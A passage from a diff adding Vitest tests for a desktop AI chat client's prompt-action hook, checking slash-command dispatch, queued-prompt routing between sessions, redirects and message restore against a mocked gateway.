+    const tabRuntimeId = 'tab-runtime'
+    const tabStoredId = 'tab-stored'
+
+    $queuedPromptsBySession.set({})
+    publishSessionState(tabRuntimeId, createClientSessionState(tabStoredId))
+
+    const submitted: (Record<string, unknown> | undefined)[] = []
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      if (method === 'prompt.submit') {
+        submitted.push(params)
+      }
+
+      return (
+        method === 'slash.exec'
+          ? { type: 'skill', name: 'work', message: 'Load the work skill, then: fix the tab bug' }
+          : {}
+      ) as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        activeSessionId="foreground-runtime"
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        storedSessionId="foreground-stored"
+      />
+    )
+
+    await handle!.submitText('/work fix the tab bug', { sessionId: tabRuntimeId })
+
+    expect(submitted).toEqual([
+      expect.objectContaining({
+        session_id: tabRuntimeId,
+        text: 'Load the work skill, then: fix the tab bug'
+      })
+    ])
+
+    dropSessionState(tabRuntimeId)
+    $queuedPromptsBySession.set({})
+  })
+
+  it('renders a skill turn as its invocation — the expanded body never reaches a bubble', async () => {
+    // A `/skill` dispatch's `message` is the whole skill body (model-facing
+    // scaffolding). The agent must receive it verbatim; every UI surface —
+    // the user bubble and any system line — must show only `/work fix it`.
+    const skillBody =
+      '[IMPORTANT: The user has invoked the "work" skill, indicating they want you to follow its instructions.\n' +
+      'The full skill content is loaded below.]\n\nSPIN UP A WORKTREE, never the primary checkout.\n\n' +
+      'The user has provided the following instruction alongside the skill invocation: fix it'
+
+    const states: Record<string, unknown>[] = []
+    const submitted: (Record<string, unknown> | undefined)[] = []
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      if (method === 'prompt.submit') {
+        submitted.push(params)
+      }
+
+      return (
+        method === 'slash.exec' ? { type: 'skill', name: 'work', message: skillBody, display: '/work fix it' } : {}
+      ) as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={s => states.push(s)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    await handle!.submitText('/work fix it')
+
+    // The agent still gets the full skill.
+    expect(submitted).toEqual([expect.objectContaining({ text: skillBody })])
+
+    const rendered = states.flatMap(state => {
+      const messages = Array.isArray(state.messages)
+        ? (state.messages as Array<{ parts?: Array<{ text?: string }> }>)
+        : []
+
+      return messages.flatMap(message => (message.parts ?? []).map(part => part.text ?? ''))
+    })
+
+    expect(rendered).toContain('/work fix it')
+    expect(rendered.join('\n')).not.toContain('SPIN UP A WORKTREE')
+    expect(rendered.join('\n')).not.toContain('IMPORTANT: The user has invoked')
+  })
+
+  it('slash status header carries the command token, not the full invocation', async () => {
+    // `/goal <long prose>` used to echo the entire invocation in the mono
+    // header AND the goal text again in the backend notice right under it.
+    const states: Record<string, unknown>[] = []
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'slash.exec') {
+        return {
+          type: 'send',
+          notice: '⊙ Goal set: build the whole thing',
+          message: 'build the whole thing end to end with tests'
+        } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={s => states.push(s)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    await handle!.submitText('/goal build the whole thing end to end with tests')
+
+    const systemTexts = states
+      .flatMap(state => {
+        const messages = Array.isArray(state.messages)
+          ? (state.messages as Array<{ role?: string; parts?: Array<{ text?: string }> }>)
+          : []
+
+        return messages
+          .filter(message => message.role === 'system')
+          .flatMap(message => (message.parts ?? []).map(part => part.text ?? ''))
+      })
+      .join('\n')
+
+    expect(systemTexts).toContain('slash:/goal\n')
+    expect(systemTexts).not.toContain('slash:/goal build the whole thing')
+  })
+
+  it('dispatches a slash command with a multiline arg instead of "empty slash command" (#41323, #55510)', async () => {
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+    const states: Record<string, unknown>[] = []
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'slash.exec') {
+        return { type: 'send', message: 'Write a Python script\nthat prints Hello World' } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={s => states.push(s)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    await handle!.submitText('/goal Write a Python script\nthat prints Hello World')
+
+    // The newline lives in the arg — the command still reaches the gateway
+    // whole, exactly as the CLI and Telegram handle it.
+    expect(calls.map(c => c.method)).toEqual(['slash.exec', 'prompt.submit'])
+    expect(calls[0]?.params).toEqual({
+      command: 'goal Write a Python script\nthat prints Hello World',
+      session_id: RUNTIME_SESSION_ID
+    })
+
+    const renderedText = states
+      .flatMap(state => {
+        const messages = Array.isArray(state.messages)
+          ? (state.messages as Array<{ parts?: Array<{ text?: string }> }>)
+          : []
+
+        return messages.flatMap(message => (message.parts ?? []).map(part => part.text ?? ''))
+      })
+      .join('\n')
+
+    expect(renderedText).not.toContain('empty slash command')
+  })
+
+  it('restores a degenerate slash payload to the composer instead of losing it', async () => {
+    setComposerDraft('')
+
+    const requestGateway = vi.fn(async () => ({}) as never)
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness onReady={h => (handle = h)} refreshSessions={async () => undefined} requestGateway={requestGateway} />
+    )
+
+    // `/ text` parses to an empty command name on every surface (CLI parity).
+    // The composer draft was already cleared on submit and slash input never
+    // enters the Up-arrow history ring, so the payload must be handed back.
+    await handle!.submitText('/ pasted context that must not vanish')
+
+    expect($composerDraft.get()).toBe('/ pasted context that must not vanish')
+    expect(requestGateway).not.toHaveBeenCalledWith('slash.exec', expect.anything())
+  })
+})
+
+describe('usePromptActions desktop slash pickers', () => {
+  beforeEach(() => {
+    setSessions(() => [sessionInfo({ id: '20260610_120000_abcdef', title: 'Loaded session' })])
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.useRealTimers()
+    vi.restoreAllMocks()
+  })
+
+  it('resumes an exact session id even when it is not in the loaded sidebar cache', async () => {
+    const resumeStoredSession = vi.fn(async () => undefined)
+    const requestGateway = vi.fn(async () => ({}) as never)
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        resumeStoredSession={resumeStoredSession}
+      />
+    )
+
+    await handle!.submitText('/resume 20260610_130000_123abc')
+
+    expect(resumeStoredSession).toHaveBeenCalledWith('20260610_130000_123abc')
+    expect(requestGateway).not.toHaveBeenCalledWith('slash.exec', expect.anything())
+  })
+
+  it('opens the memory graph overlay for /journey and its aliases instead of hitting the backend', async () => {
+    const openMemoryGraph = vi.fn()
+    const requestGateway = vi.fn(async () => ({}) as never)
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        openMemoryGraph={openMemoryGraph}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    await handle!.submitText('/journey')
+    await handle!.submitText('/memory-graph')
+    await handle!.submitText('/learning')
+
+    expect(openMemoryGraph).toHaveBeenCalledTimes(3)
+    expect(requestGateway).not.toHaveBeenCalledWith('slash.exec', expect.anything())
+    expect(requestGateway).not.toHaveBeenCalledWith('command.dispatch', expect.anything())
+  })
+
+  it('marks a timed-out handoff as failed so the next attempt can retry', async () => {
+    vi.useFakeTimers()
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'handoff.state') {
+        return { state: 'pending' } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness onReady={h => (handle = h)} refreshSessions={async () => undefined} requestGateway={requestGateway} />
+    )
+
+    const result = handle!.submitText('/handoff telegram')
+    await vi.advanceTimersByTimeAsync(61_000)
+    await result
+
+    expect(calls.some(call => call.method === 'handoff.request')).toBe(true)
+    expect(calls).toContainEqual({
+      method: 'handoff.fail',
+      params: {
+        error: expect.stringContaining('Timed out'),
+        session_id: RUNTIME_SESSION_ID
+      }
+    })
+  })
+})
+
+describe('usePromptActions submit / queue drain semantics', () => {
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+  })
+
+  it('clears a leftover interrupted flag on a fresh submit (so the new turn streams)', async () => {
+    const seeds: Record<string, unknown>[] = []
+    const requestGateway = vi.fn(async () => ({}) as never)
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={s => seeds.push(s)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    await handle!.submitText('hello after a stop')
+
+    // The optimistic seed must reset interrupted:false even though the prior
+    // session state had interrupted:true — otherwise the message stream drops
+    // every delta of this brand-new turn.
+    expect(seeds.length).toBeGreaterThan(0)
+    expect(seeds.every(s => s.interrupted === false)).toBe(true)
+    expect(requestGateway).toHaveBeenCalledWith(
+      'prompt.submit',
+      {
+        session_id: RUNTIME_SESSION_ID,
+        text: 'hello after a stop'
+      },
+      1_800_000
+    )
+  })
+
+  it('flags prompt.submit with interrupted:true after a voice-playback barge', async () => {
+    const { markVoicePlaybackInterrupted } = await import('@/lib/voice-playback')
+    const requestGateway = vi.fn(async () => ({}) as never)
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness onReady={h => (handle = h)} refreshSessions={async () => undefined} requestGateway={requestGateway} />
+    )
+
+    markVoicePlaybackInterrupted()
+    await handle!.submitText('stop! rude interruption')
+
+    // The latch is one-shot: the flag rides this submit, the next is clean.
+    expect(requestGateway).toHaveBeenCalledWith(
+      'prompt.submit',
+      {
+        session_id: RUNTIME_SESSION_ID,
+        text: 'stop! rude interruption',
+        interrupted: true
+      },
+      1_800_000
+    )
+
+    await handle!.submitText('follow-up without a barge')
+    expect(requestGateway).toHaveBeenLastCalledWith(
+      'prompt.submit',
+      {
+        session_id: RUNTIME_SESSION_ID,
+        text: 'follow-up without a barge'
+      },
+      1_800_000
+    )
+  })
+
+  it('a fromQueue drain sends even when busyRef is still true on the settle edge', async () => {
+    // busyRef lags $busy by one effect tick on the busy→false settle edge, so a
+    // drained queue send would otherwise hit the busy guard and silently no-op.
+    const busyRef = { current: true }
+    const requestGateway = vi.fn(async () => ({}) as never)
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        busyRef={busyRef}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    const accepted = await handle!.submitText('queued message', { fromQueue: true })
+
+    expect(accepted).toBe(true)
+    expect(requestGateway).toHaveBeenCalledWith(
+      'prompt.submit',
+      {
+        queued: true,
+        session_id: RUNTIME_SESSION_ID,
+        text: 'queued message'
+      },
+      1_800_000
+    )
+  })
+
+  it('a fromQueue drain sends to its queued session even after the active session changes', async () => {
+    $busy.set(false)
+
+    const updates: { sessionId: string; state: Record<string, unknown>; storedSessionId: null | string | undefined }[] =
+      []
+
+    const requestGateway = vi.fn(async () => ({}) as never)
+
+    let handle: HarnessHandle | null = null
+    render(
+      <Harness
+        getRuntimeIdForStoredSession={storedId => (storedId === 'stored-session-a' ? 'rt-session-a' : null)}
+        onReady={h => (handle = h)}
+        onUpdateState={(sessionId, storedSessionId, state) => updates.push({ sessionId, state, storedSessionId })}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    const accepted = await handle!.submitText('queued for background session', {
+      fromQueue: true,
+      sessionId: 'rt-session-a',
+      storedSessionId: 'stored-session-a'
+    })
+
+    expect(accepted).toBe(true)
+    expect(requestGateway).toHaveBeenCalledWith(
+      'prompt.submit',
+      {
+        queued: true,
+        session_id: 'rt-session-a',
+        text: 'queued for background session'
+      },
+      1_800_000
+    )
+    expect(requestGateway).not.toHaveBeenCalledWith('session.resume', expect.anything())
+    expect(
+      updates.some(update => update.sessionId === 'rt-session-a' && update.storedSessionId === 'stored-session-a')
+    ).toBe(true)
+    // Offscreen queue drains must not flip the foreground composer into Thinking.
+    expect($busy.get()).toBe(false)
+  })
+
+  it('a fromQueue drain carrying a stale runtime id re-homes via session.resume instead of landing in the foreground session', async () => {
+    // The session-switch window this guards: the composer's queue key has
+    // already flipped to session B (route-driven) while the foreground runtime
+    // id prop still reads session A (resume-driven, one settle behind). Without
+    // the central-binding check, prompt.submit fires with session_id=A and B's
+    // queued prompt — plus its whole answer turn — lands inside A. With no
+    // binding recorded for B yet, the stale id must be dropped and the drain
+    // re-homed through the stored-session resume path.
+    const updates: { sessionId: string; state: Record<string, unknown>; storedSessionId: null | string | undefined }[] =
+      []
+
+    const requestGateway = vi.fn(
+      async (method: string, _params?: Record<string, unknown>) =>
+        (method === 'session.resume' ? { session_id: 'rt-session-b' } : {}) as never
+    )
+
+    let handle: HarnessHandle | null = null
+    render(
+      <Harness
+        onReady={h => (handle = h)}
+        onUpdateState={(sessionId, storedSessionId, state) => updates.push({ sessionId, state, storedSessionId })}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    const accepted = await handle!.submitText('queued for B mid-switch', {
+      fromQueue: true,
+      sessionId: 'rt-session-a',
+      storedSessionId: 'stored-session-b'
+    })
+
+    expect(accepted).toBe(true)
+    expect(requestGateway).toHaveBeenCalledWith('session.resume', {
+      session_id: 'stored-session-b',
+      source: 'desktop',
+      omit_messages: true
+    })
+    expect(requestGateway).toHaveBeenCalledWith(
+      'prompt.submit',
+      {
+        queued: true,
+        session_id: 'rt-session-b',
+        text: 'queued for B mid-switch'
+      },
+      1_800_000
+    )
+    // The invariant: the stale foreground runtime never receives the prompt.
+    expect(
+      requestGateway.mock.calls.every(
+        ([method, params]) =>
+          method !== 'prompt.submit' || (params as { session_id?: string }).session_id !== 'rt-session-a'
+      )
+    ).toBe(true)
+    expect(
+      updates.some(update => update.sessionId === 'rt-session-b' && update.storedSessionId === 'stored-session-b')
+    ).toBe(true)
+  })
+
+  it('a fromQueue drain rebinds to the centrally recorded runtime when its explicit id is stale', async () => {
+    // Same window, but B's runtime binding is already known centrally — the
+    // drain should adopt the authoritative binding directly (no resume
+    // round-trip) rather than trusting the leftover foreground id.
+    const requestGateway = vi.fn(async (_method: string, _params?: Record<string, unknown>) => ({}) as never)
+
+    let handle: HarnessHandle | null = null
+    render(
+      <Harness
+        getRuntimeIdForStoredSession={storedId => (storedId === 'stored-session-b' ? 'rt-session-b-live' : null)}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    const accepted = await handle!.submitText('queued for B, B already re-bound', {
+      fromQueue: true,
+      sessionId: 'rt-session-a',
+      storedSessionId: 'stored-session-b'
+    })
+
+    expect(accepted).toBe(true)
+    expect(requestGateway).toHaveBeenCalledWith(
+      'prompt.submit',
+      {
+        queued: true,
+        session_id: 'rt-session-b-live',
+        text: 'queued for B, B already re-bound'
+      },
+      1_800_000
+    )
+    expect(requestGateway).not.toHaveBeenCalledWith('session.resume', expect.anything())
+    expect(
+      requestGateway.mock.calls.every(
+        ([method, params]) =>
+          method !== 'prompt.submit' || (params as { session_id?: string }).session_id !== 'rt-session-a'
+      )
+    ).toBe(true)
+  })
+
+  it('a NON-queue explicit target keeps its runtime id even with no central binding recorded', async () => {
+    // The scoping invariant for the check above. A slash skill dispatch into a
+    // fresh ⌘T tab passes the same shape a stale drain does — sessionId and
+    // storedSessionId differ, and the tab has no central binding yet — but its
+    // two ids were resolved in the same tick, so the explicit target IS
+    // authoritative. Validating this caller against the (empty) binding would
+    // null the target and silently drop the kickoff into nowhere.
+    const requestGateway = vi.fn(async () => ({}) as never)
+
+    let handle: HarnessHandle | null = null
+    render(
+      <Harness
+        getRuntimeIdForStoredSession={() => null}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    const accepted = await handle!.submitText('kickoff for the tab', {
+      sessionId: 'rt-tab',
+      storedSessionId: 'stored-tab'
+    })
+
+    expect(accepted).toBe(true)
+    expect(requestGateway).toHaveBeenCalledWith(
+      'prompt.submit',
+      {
+        session_id: 'rt-tab',
+        text: 'kickoff for the tab'
+      },
+      1_800_000
+    )
+  })
+
+  it('a fromQueue drain with null runtime id does NOT land in the foreground session (cross-session leak guard)', async () => {
+    // The cross-session leak: a background drain fires with sessionId=null
+    // (the stored session's runtime was reaped by the gateway). Without the
+    // guard, `null ?? activeSessionIdRef.current` falls back to whichever
+    // runtime id the foreground happens to hold — landing the queued prompt
+    // in the chat the user is currently viewing, NOT the session that owns
+    // the queue entry. The drain must instead go through session.resume to
+    // rebind the correct runtime before submitting.
+    const requestGateway = vi.fn(
+      async (method: string, _params?: Record<string, unknown>, _timeoutMs?: number) =>
+        (method === 'session.resume' ? { session_id: 'rt-session-a-rebound' } : {}) as never
+    )
+
+    let handle: HarnessHandle | null = null
+    render(
+      <Harness
+        activeSessionId={'rt-foreground'}
+        getRuntimeIdForStoredSession={() => null}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        storedSessionId={'rt-foreground'}
+      />
+    )
+
+    // Background drain: sessionId=null (binding reaped), storedSessionId
+    // points to a DIFFERENT session than the foreground.
+    const accepted = await handle!.submitText('queued for background session', {
+      fromQueue: true,
+      sessionId: null,
+      storedSessionId: 'stored-session-a'
+    })
+
+    expect(accepted).toBe(true)
+    // Must resume the correct stored session to get the right runtime id.
+    expect(requestGateway).toHaveBeenCalledWith('session.resume', {
+      session_id: 'stored-session-a',
+      source: 'desktop',
+      omit_messages: true
+    })
+    // The prompt must land in the resumed session, NOT the foreground.
+    expect(requestGateway).toHaveBeenCalledWith(
+      'prompt.submit',
+      {
+        queued: true,
+        session_id: 'rt-session-a-rebound',
+        text: 'queued for background session'
+      },
+      1_800_000
+    )
+    // The invariant: the foreground runtime never receives the prompt.
+    expect(
+      requestGateway.mock.calls.every(
+        ([method, params]) => method !== 'prompt.submit' || params?.session_id !== 'rt-foreground'
+      )
+    ).toBe(true)
+  })
+
+  it('a rejected fromQueue drain returns false (entry stays queued) and a later retry sends it', async () => {
+    // A stale-session 404 must not strand the queued entry: submitPrompt returns
+    // false on failure so the composer keeps it, and the edge-independent
+    // auto-drain re-attempts once the session is idle again. storedSessionId is
+    // null so the session.resume recovery path is skipped and the error surfaces.
+    let attempt = 0
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'prompt.submit') {
+        attempt += 1
+
+        if (attempt === 1) {
+          throw new Error('404: {"detail":"Session not found"}')
+        }
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        storedSessionId={null}
+      />
+    )
+
+    const first = await handle!.submitText('please send me', { fromQueue: true })
+    expect(first).toBe(false)
+
+    const second = await handle!.submitText('please send me', { fromQueue: true })
+    expect(second).toBe(true)
+    expect(requestGateway).toHaveBeenCalledWith(
+      'prompt.submit',
+      {
+        queued: true,
+        session_id: RUNTIME_SESSION_ID,
+        text: 'please send me'
+      },
+      1_800_000
+    )
+  })
+
+  it('rides out a transient "session busy" so the user never sees it (retries, no error bubble)', async () => {
+    // A submit racing the settle edge can hit a transient 4009 before the turn
+    // has fully wound down. It must be invisible: retried in place until the
+    // gateway accepts, never a red "session busy" bubble.
+    let attempt = 0
+    const seeds: Record<string, unknown>[] = []
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'prompt.submit') {
+        attempt += 1
+
+        if (attempt === 1) {
+          throw new Error('4009: session busy')
+        }
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={s => seeds.push(s)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    expect(await handle!.submitText('sent while settling')).toBe(true)
+    expect(attempt).toBe(2) // rode past the busy on the second try
+    // No assistant-error message was appended for the transient busy.
+    expect(seeds.some(s => Array.isArray(s.messages) && (s.messages as { error?: string }[]).some(m => m.error))).toBe(
+      false
+    )
+  })
+
+  it('a normal (non-queue) submit still respects the busyRef guard', async () => {
+    const busyRef = { current: true }
+    const requestGateway = vi.fn(async () => ({}) as never)
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        busyRef={busyRef}
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    const accepted = await handle!.submitText('should be blocked')
+
+    expect(accepted).toBe(false)
+    expect(requestGateway).not.toHaveBeenCalledWith('prompt.submit', expect.anything())
+  })
+})
+
+describe('usePromptActions redirectPrompt', () => {
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+  })
+
+  it('redirects the live turn with trimmed correction text', async () => {
+    const requestGateway = vi.fn(async () => ({ status: 'redirected' }) as never)
+
+    let handle: HarnessHandle | null = null
+    const capturedStates: Record<string, unknown>[] = []
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={state => capturedStates.push(state)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    const accepted = await handle!.redirectPrompt('  nudge the run  ')
+
+    expect(accepted).toBe(true)
+    expect(requestGateway).toHaveBeenCalledWith('session.redirect', {
+      session_id: RUNTIME_SESSION_ID,
+      text: 'nudge the run'
+    })
+    expect(requestGateway).not.toHaveBeenCalledWith('prompt.submit', expect.anything())
+    expect((capturedStates.at(-1)?.messages as unknown[]).at(-1)).toMatchObject({
+      role: 'user',
+      parts: [{ type: 'text', text: 'nudge the run' }]
+    })
+  })
+
+  it('reports rejection so the caller queues when the turn already ended', async () => {
+    const requestGateway = vi.fn(async () => ({ status: 'rejected' }) as never)
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness onReady={h => (handle = h)} refreshSessions={async () => undefined} requestGateway={requestGateway} />
+    )
+
+    expect(await handle!.redirectPrompt('too late')).toBe(false)
+  })
+
+  it('reports rejection without throwing when the redirect RPC errors', async () => {
+    const requestGateway = vi.fn(async () => {
+      throw new Error('agent does not support redirect')
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness onReady={h => (handle = h)} refreshSessions={async () => undefined} requestGateway={requestGateway} />
+    )
+
+    expect(await handle!.redirectPrompt('boom')).toBe(false)
+  })
+
+  it('skips the RPC entirely for empty text', async () => {
+    const requestGateway = vi.fn(async () => ({ status: 'redirected' }) as never)
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness onReady={h => (handle = h)} refreshSessions={async () => undefined} requestGateway={requestGateway} />
+    )
+
+    expect(await handle!.redirectPrompt('   ')).toBe(false)
+    expect(requestGateway).not.toHaveBeenCalled()
+  })
+
+  it('accepts a queued redirect during the agent-build window and records the correction', async () => {
+    // running=True but the agent is still building: the gateway queues the
+    // correction instead of rejecting, so the composer must NOT re-queue it.
+    const requestGateway = vi.fn(async () => ({ status: 'queued' }) as never)
+
+    let handle: HarnessHandle | null = null
+    const capturedStates: Record<string, unknown>[] = []
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={state => capturedStates.push(state)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    expect(await handle!.redirectPrompt('build-window nudge')).toBe(true)
+    expect(requestGateway).toHaveBeenCalledWith('session.redirect', {
+      session_id: RUNTIME_SESSION_ID,
+      text: 'build-window nudge'
+    })
+    expect(requestGateway).not.toHaveBeenCalledWith('prompt.submit', expect.anything())
+    expect((capturedStates.at(-1)?.messages as unknown[]).at(-1)).toMatchObject({
+      role: 'user',
+      parts: [{ type: 'text', text: 'build-window nudge' }]
+    })
+  })
+
+  it('resumes the stored session and retries once when session.redirect reports "session not found"', async () => {
+    const STORED_SESSION_ID = 'stored-db-xyz789'
+    const RECOVERED_SESSION_ID = 'rt-recovered-456'
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+    let redirectAttempts = 0
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      if (method === 'session.redirect') {
+        redirectAttempts += 1
+
+        if (redirectAttempts === 1) {
+          throw new Error('session not found')
+        }
+
+        return { status: 'redirected' } as never
+      }
+
+      if (method === 'session.resume') {
+        return { session_id: RECOVERED_SESSION_ID } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        storedSessionId={STORED_SESSION_ID}
+      />
+    )
+    await waitFor(() => expect(handle).not.toBeNull())
+
+    expect(await handle!.redirectPrompt('reconnect nudge')).toBe(true)
+    expect(calls.map(c => c.method)).toEqual(['session.redirect', 'session.resume', 'session.redirect'])
+    expect(calls[0]?.params).toEqual({ session_id: RUNTIME_SESSION_ID, text: 'reconnect nudge' })
+    expect(calls[1]?.params).toEqual({ session_id: STORED_SESSION_ID, source: 'desktop', omit_messages: true })
+    expect(calls[2]?.params).toEqual({ session_id: RECOVERED_SESSION_ID, text: 'reconnect nudge' })
+    expect(handle!.activeSessionIdRef.current).toBe(RECOVERED_SESSION_ID)
+  })
+})
+
+describe('usePromptActions restoreToMessage', () => {
+  beforeEach(() => {
+    $busy.set(false)
+    $messages.set([
+      { id: 'u1', role: 'user', parts: [textPart('first prompt')] },
+      { id: 'a1', role: 'assistant', parts: [textPart('first answer')] },
+      { id: 'u2', role: 'user', parts: [textPart('second prompt')] },
+      { id: 'a2', role: 'assistant', parts: [textPart('second answer')] }
+    ])
+  })
+
+  afterEach(() => {
+    cleanup()
+    $busy.set(false)
+    $messages.set([])
+    vi.restoreAllMocks()
+  })
+
+  it('rewinds to the target user turn and resubmits its text', async () => {
+    const requestGateway = vi.fn(async () => ({}) as never)
+    let lastState: Record<string, unknown> = {}
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={state => (lastState = state)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        seedMessages={$messages.get()}
+      />
+    )
+
+    await handle!.restoreToMessage('u1')
+
+    // Ordinal 0 = "truncate before the first visible user message": the gateway
+    // drops that turn and everything after, then runs the same text again.
+    expect(requestGateway).toHaveBeenCalledWith(
+      'prompt.submit',
+      {
+        session_id: RUNTIME_SESSION_ID,
+        text: 'first prompt',
+        confirm_truncate: true,
+        truncate_before_user_ordinal: 0,
+        confirm_empty_truncate: true
+      },
+      1_800_000
+    )
+    expect((lastState.messages as { id: string }[]).map(m => m.id)).toEqual(['u1'])
+    expect(lastState.busy).toBe(true)
+  })
+
+  it('rethrows gateway failures and clears the busy flags for the dialog to surface', async () => {
+    const requestGateway = vi.fn(async () => {
+      throw new Error('gateway exploded')
+    })
+
+    let lastState: Record<string, unknown> = {}
+    let handle: HarnessHandle | null = null
+
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={state => (lastState = state)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+      />
+    )
+
+    await expect(handle!.restoreToMessage('u2')).rejects.toThrow('gateway exploded')
+    expect(lastState.busy).toBe(false)
+  })
+
+  it('interrupts the live turn and retries past "session busy" when reverting mid-stream', async () => {
+    $busy.set(true)
+
+    let submitAttempts = 0
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'prompt.submit') {
+        submitAttempts += 1
+
+        // The cooperative interrupt hasn't wound the turn down yet on the first
+        // try; the second attempt lands once the gateway reports idle.
+        if (submitAttempts === 1) {
+          throw new Error('session busy')
+        }
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        seedMessages={$messages.get()}
+      />
+    )
+
+    await handle!.restoreToMessage('u1')
+
+    expect(requestGateway).toHaveBeenCalledWith('session.interrupt', { session_id: RUNTIME_SESSION_ID })
+    expect(submitAttempts).toBe(2)
+    expect(requestGateway).toHaveBeenCalledWith(
+      'prompt.submit',
+      {
+        session_id: RUNTIME_SESSION_ID,
+        text: 'first prompt',
+        confirm_truncate: true,
+        truncate_before_user_ordinal: 0,
+        confirm_empty_truncate: true
+      },
+      1_800_000
+    )
+  })
+
+  it('rejects non-user targets and unknown ids without touching the gateway', async () => {
+    const requestGateway = vi.fn(async () => ({}) as never)
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness onReady={h => (handle = h)} refreshSessions={async () => undefined} requestGateway={requestGateway} />
+    )
+
+    await expect(handle!.restoreToMessage('a1')).rejects.toThrow('Could not find the message to restore.')
+    await expect(handle!.restoreToMessage('missing')).rejects.toThrow('Could not find the message to restore.')
+
+    expect(requestGateway).not.toHaveBeenCalled()
+  })
+
+  it('uses the clicked runtime user ordinal when the rendered message id is stale', async () => {
+    const requestGateway = vi.fn(async () => ({}) as never)
+
+    let lastState: Record<string, unknown> = {}
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        onReady={h => (handle = h)}
+        onSeedState={state => (lastState = state)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        seedMessages={$messages.get()}
+      />
+    )
+
